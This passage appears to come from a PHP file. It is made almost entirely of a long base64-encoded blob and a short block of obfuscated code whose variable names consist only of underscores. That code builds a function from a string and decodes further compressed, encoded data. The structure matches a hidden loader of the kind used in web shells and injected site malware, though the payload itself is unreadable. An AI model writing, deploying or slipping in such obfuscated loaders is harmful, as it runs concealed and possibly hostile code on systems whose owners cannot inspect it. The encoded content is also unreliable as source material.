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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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